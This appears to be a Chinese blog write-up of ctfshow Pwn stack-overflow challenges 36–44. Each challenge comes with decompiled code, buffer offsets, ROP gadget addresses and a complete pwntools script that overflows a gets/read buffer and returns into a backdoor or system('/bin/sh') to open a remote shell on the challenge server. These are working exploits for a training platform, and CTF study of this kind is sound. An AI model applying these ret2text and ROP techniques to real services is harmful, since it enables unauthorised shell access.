习题爱抚瘦(ctfshow)胖(Pwn)栈溢出36-44

前言

I know a girl who is really beautiful. Every time I encounter a difficult problem, I will turn to her for advice. She always gives me the answers I need. Although I have to analyze them on my own, she still helps me solve my problems. I truly love her, and she is very patient when assisting me. She has a really lovely name —— IDA PRO.

我认识一个女孩,她长得非常漂亮。每次当我遇到难题的时候,我都会去请教她,她每次都会为我提供我想要的答案虽然这需要我自己分析,但是她仍然会帮我解决我的难题。我真的很爱她,她也很耐心的帮我。她有一个很动听的名字——IDA PRO

PWN36

存在后门函数,如何利用?

到手第一件事不管三七二十一,上来就是file checksec

32位程序,关键保护都没开

将程序丢到女神(IDA)中看一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow(&argc);
  return 0;
}

Main函数中调用了ctfshow函数,跟进一下

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF
​
  return gets(s);
}

gets没有边界检测,只要你想就可以无限制输入内容 直到遇到换行符('\n')为止

所以很明显的溢出点

再看看旁边有一个get_flag函数

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]
​
  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

打印flag。

思路:通过ctfshow函数溢出到get_flag函数这里就完事

偏移量 0x28+4 ctfshow函数中

get_flag函数地址:0x08048586

写脚本开搂

from pwn import *
r = remote('pwn.challenge.ctf.show',28288)
​
padding = 0x28+4
get_flag=0x08048586
payload = padding * b'A' + p32(get_flag)
r.sendline(payload)
r.interactive()

PWN37

32位的 system(“/bin/sh”) 后门函数给你

ret2text

ctfshow函数

ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF
​
  return read(0, buf, 0x32u);
}

后门函数

int backdoor()
{
  system("/bin/sh");
  return 0;
}

通过ctfshow上溢出劫持ret跳到backdoor上

偏移量:0x12+4

后门地址:0x8048521

脚本

from pwn import *
r = remote('pwn.challenge.ctf.show',28166)
​
padding = 0x12+4
get_flag=0x8048521
payload = padding * b'A' + p32(get_flag)
r.sendline(payload)
r.interactive()

PWN38

64位的 system(“/bin/sh”) 后门函数给你

注意这里的64位,需要考虑到堆栈平衡

本关主要是常规的ret2text,唯一一点就是需要跳过push rbp

本关脚本如下:

from pwn import *
r = remote('pwn.challenge.ctf.show',28293)
elf = ELF('./pwn')
​
padding = 0xA + 8
door = 0x400658
payload = b'a' * padding + p64(door)
r.sendline(payload)
r.interactive()

PWN39

32位的 system(); "/bin/sh"

这里需要用到传参的方式将system和binsh组合在一起

32位传参方式 函数1 函数2 参数1 参数2

system函数地址:0x080483A0

binsh参数地址:0x08048750

脚本如下:

from pwn import *
r = remote('pwn.challenge.ctf.show',28199)
elf = ELF('./pwn')
​
padding = 0x12+4
payload = b'a' * padding + p32(0x080483A0) + p32(0) +p32(0x08048750)
r.sendline(payload)
r.interactive()

PWN40

64位的 system(); "/bin/sh"

X86传参是直接使用栈来传递参数,而X64则是使用寄存器传递参数,后7个参数使用栈来传递

所以先ROPgadget --binary ./test --only "pop|ret" | grep "rdi" 找到rdi寄存器和 ret

传参顺序为:寄存器 参数 返回地址 函数 乌班图18.04以下的没有返回地址

脚本如下:

from pwn import *
r = remote('pwn.challenge.ctf.show',28151)
elf = ELF('./pwn')
​
padding = 0xA+8
rdi_add = 0x00000000004007e3
bin_sh = 0x400808
sys_add = 0x400520
ret_add = 0x00000000004004fe
payload = b'a' * padding +p64(rdi_add) +p64(bin_sh) +p64(ret_add)+p64(sys_add)
r.sendline(payload)
r.interactive()

PWN41

32位system,没有binsh怎么搞?

在userful函数中有print(sh) 没有binsh有sh也差不多(具体可以自己敲一下sh看看是不是有shell)

溢出点:ctfshow函数-buf字符串

偏移量:0x12+4

system函数地址:在ida左侧Funcktion name中找到_system 它的Start地址就是

sh字符串地址:找到sh字符串直接双击进入即可发现

注意p32的传参顺序!

p32(函数1)+p32(函数2)+p32(参数1)+p32(参数2)

所以需要一个占位符

脚本如下:

from pwn import *
r=remote('pwn.challenge.ctf.show',28167)
padding = 0x12+4
sys_add = 0x080483D0
sh = 0x080487BA
ad = 123456789 #这里可以不写,直接弄成p32(0)也没问题,只要占住位置就好
payload = b'a' * padding + p32(sys_add) + p32(ad) +p32(sh)
r.sendline(payload)
r.interactive()

PWN42

64位system,没有binsh怎么搞?

照比32多了两个步骤

寻找ret和rdi的地址

ROPgadget --binary pwn --only "pop|ret"          
Gadgets information
============================================================
0x000000000040083c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400840 : pop r14 ; pop r15 ; ret
0x0000000000400842 : pop r15 ; ret
0x000000000040083b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400608 : pop rbp ; ret
0x0000000000400843 : pop rdi ; ret <-----
0x0000000000400841 : pop rsi ; pop r15 ; ret
0x000000000040083d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040053e : ret <-----
0x0000000000400542 : ret 0x201a
​
Unique gadgets found: 12
​

64位传参

p64(寄存器) + p64(参数)+p64(返回ret)+p64(函数)

脚本如下:

from pwn import *
r=remote('pwn.challenge.ctf.show',28278)
padding = 0xA+8
sys_add = 0x400560
sh = 0x400872
rdi_add = 0x0000000000400843
ret_add = 0x000000000040053e
​
payload = b'a' * padding + p64(rdi_add) +p64(sh) +p64(ret_add) +p64(sys_add)
r.sendline(payload)
r.interactive()

PWN43

有system没有binsh 上面方法也不好使

通过pwndbg调试,vmmap 发现0x804b000 0x804c000这一段空间是有写权限的

system函数地址:08048450

偏移 0x6c+4

通过查找发现在bss段0804B060处有buf2 可以写入

思路:

先溢出将/bin/sh写入到buf2,在将buf2内容与system函数结合就组成了后门函数

from pwn import *
r = remote('pwn.challenge.ctf.show',28306)
​
padding = 0x6c+4
gets_add = 0x08048420
system_add = 0x08048450
buf2_add = 0x0804B060
payload = b'a'*padding + p32(gets_add) + p32(system_add) + p32(buf2_add) + p32(buf2_add)
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()

PWN44

与上面思路一样,需要注意传参顺序以及寻找寄存器和ret返回

from pwn import *
r=remote('pwn.challenge.ctf.show',28109)
​
padding = 0xa+8
gets_add = 0x400530
buf2_add = 0x602080
sys_add = 0x400520
rdi_add = 0x00000000004007f3
ret_add = 0x00000000004004fe
​
payload = b'a' * padding+p64(rdi_add)+p64(buf2_add)+p64(ret_add)+p64(gets_add)+p64(rdi_add)+p64(buf2_add)+p64(ret_add)+ p64(sys_add)
r.sendline(payload)
r.sendline("/bin/sh")
r.interactive()

寻找攻击链:ROPgadget --binary pwn

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值